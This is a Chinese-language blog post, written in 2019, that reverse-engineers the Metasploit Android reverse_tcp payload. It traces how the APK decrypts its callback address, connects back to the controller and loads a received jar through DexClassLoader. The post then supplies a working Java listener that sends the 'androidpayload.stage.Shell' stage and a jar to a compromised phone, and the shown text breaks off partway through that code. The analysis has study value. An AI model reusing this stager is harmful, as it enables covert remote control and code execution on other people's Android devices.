Metasploit Android载荷运行流程刨析及其Meterpreter复现
本文写于2019年底,于2021年由CSDN迁移博客至此.
0x01运行流程分析
运用工具:
jd-gui,jadx,d2j,apktool
先生成一个载荷apk,接着利用apktool反编译它的资源文件
可以看到主入口在MainActivity这个类
MainActivity在向MainService类的startService方法传入了Context后立刻结束掉了当前类
可以看到startService方法正式启动了MainService类的服务
MainService类接着调用了Payload类的start方法,并传入Context
在Payload的start方法内调用了startInPath方法,并向其中传入了软件的私有目录
而startInPath方法则调用了d类的start方法
可以看到d类实际上就继承了Thread
在重写run方法后调用了Payload的main方法
这样一来,Payload方法也正式执行了
在main方法内,看到第一处红线标记处,调用了b类的a方法并传入了变量byte数组a,返回值重新赋值给成员a
这里简要说明一下,byte数组a是被加密过的ip及端口,而b类的a方法就是负责解密数组的
ip及端口就是傀儡机要回弹的地址,注意:解密出的ip和端口最终会赋值到下面变量名为str的字符串
程序执行到第二处红线标记处,其中a方法就是把当前类设置为软件主入口了,没什么好说的
继续看main方法,接下来程序执行的代码就是向控制机反弹shell的!
程序继续往下走,while循环内判断了str这个被赋值ip和端口的字符串是否以tcp开头
刚刚我们是利用meterpreter模块的reverse_tcp来生成恶意载荷,所以是以tcp开头
进入判断:首先注意str被赋值的字符串格式是"tcp://ip:port"
所以最终程序将执行到图中第二处红线标记处:向指定的ip建立Socket套接字
继续往下看
程序执行到第三处红线标记处时实例化了DataInputStream和DataOutputStream,并且向其中传入了套接字的io流
注意,其中传入的h成员,接下来会讲到
接着io流进入最为关键的Payload类中的a方法
先大致浏览一下a方法,接下来将分段讲解a方法
首先,图中变量str1赋予了传入的数组中的第一个值
还记得之前传入的h成员吗,我们对他进行溯源
回到Payload类最开始的start方法,传入的正是软件的私有目录
大致浏览过a方法后可以知道,软件的私有目录正是作为程序的根目录
回到a方法
程序继续执行
其中str2变量在抽取随机数后拼接在了str1后面
而str3在str2后面拼接了".jar"
str5将io流传入了另一个a方法,以下我们简称这另一个a方法为a1方法
查看a1方法
可以看到a1方法在读取了Datainputstrem数据流的int之后传入了byte数组
接着程序在遍历完成int长度后就会跳出循环,返回一个被赋值了的byte数组
继续回到a方法
str5在读取完io流回传的数据后
另一个byte数组(图中第二处红线)开始了读取
最终byte数组被写入了str3这个文件内,也就是拼接了".jar"的文件
是不是感觉它的运行原理马上就要明晰了?
在第四处红线标记处,一个变量名为clazz的Class赋予了实例化后的DexClassLoader,并且传入了刚刚的jar文件
str5作为加载的类名传入clazz
接着程序执行到最后一行,clazz的start方法被执行,并且传入io流
怎么样,是不是很兴奋,运行原理已经出来了,我们大致理一下思路
[1].程序经过一堆传参到达Payload类的main方法
[2].程序建立套接字连接控制端
[3].程序将套接字的数据流传入a方法
[4].a方法处理了传来的数据,在软件私有目录下接收了jar文件和要加载的类信息
[5].程序最终加载了jar方法中的代码
所以meterpreter模块就是通过远程传输jar文件来让傀儡机动态执行jar中的代码
0x02 meterpreter模块传输文件解析
要知道meterpreter如何接管傀儡机,还是要知道它是传入的什么文件,传输的什么数据
为了验证第一步的结论,我修改了一下生成的载荷apk的代码
可以看到程序在接收完jar文件后执行了其中的代码就立刻删除了传输过来的文件
我对它的smali代码进行修改
我找到其中的delete方法
将delete方法删除,并且添加了一个Log语句用于打印str5的内容
这样一来,文件,str5的内容我都能知道了
重新编译后安装apk,接着利用metasploit接管傀儡机
接着查看软件的私有目录
可以看到jar文件确实没有被删除
接着确认一下打印内容
打印内容应该就是jar文件的类路径了
查看jar包
有一个dex文件,反编译查看
根据str5的内容进入指定类
程序之前调用到了jar文件中指定类的start方法,并且传入了io流
而这个jar文件也确实存在start方法
大致浏览一遍内容可知,这个jar文件就是meterpreter模块的代码!
它也是通过读取数据流和加载dex文件的方式执行控制端下达的指令!
meterpreter模块的真面目也出来了!
那么何不如模仿meterpreter模块让傀儡机执行我们设定的命令呢?
0x03 复现远程控制以及代码执行
首先先回到a1方法查看代码
运行流程如下:
[1]读字节长度
[2]给byte指定读取到的文件长度
[3]根据文件长度迭代取出io流的内容
[4]返回byte
流程很简单,
那么相应的我们发送payload的流程如下
[1]向io流写入长度
[2]向io流发送指定的payload
发送什么内容呢?根据之前的分析,发送的内容应该如此构造:
[1]先发送指定的类路径
[2]发送指定jar文件
运行流程理清楚了
那么发送什么payload好呢?
我在metasploit的目录里找到了有趣的文件
查看shell.jar的代码
知晓了类路径,我通过修改smali代码对图片第二处红线处执行的代码进行了修改
这样我就能通过判断shell文件夹是否被创建来判断代码是否被执行了
接下来放代码
package com.msf;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException;
public class Main {
public static void main(String[] arg) throws Exception {
ServerSocket serverSocket=new ServerSocket(1568);
System.out.println("build a server in port of 1568");
Socket socket=serverSocket.accept();
System.out.println("msf get in!");
DataOutputStream outputStream=getOutPutStream(socket);
sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar");
System.out.println("Over!");
}
public static DataOutputStream getOutPutStream(Socket socket) throws IOException {
System.out.println("[!]-->getOutputStream!");
return new DataOutputStream(socket.getOutputStream());
}
public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception {
int clazz_length = clazz.length();
System.out.println("[*]class length-->"+clazz_length);
File file=new File(injectJar);
int inject_length=(int) file.length();
System.out.println("[*]injectJar length-->"+inject_length);
byte[] file_b=getFile(file);
outputStream.writeInt(clazz_length);
System.out.println("[*]send class length...");
outputStream.write(clazz.getBytes());
System.out.println("[*]send class...");
outputStream.writeInt(inject_length);
System.out.println("[*]send injectJar length");
outputStream.write(file_b);
System.out.println("[*]send injectJar...");
Thread.sleep(3000);
System.out.println("[*]-->SEND A SHELL!");
}
public static byte[] getFile(File file) throws Exception {
FileInputStream fileInputStream=new FileInputStream(file);
int readLen=(int) file.length();
byte[] b=new byte[readLen];
int length=0;
while(length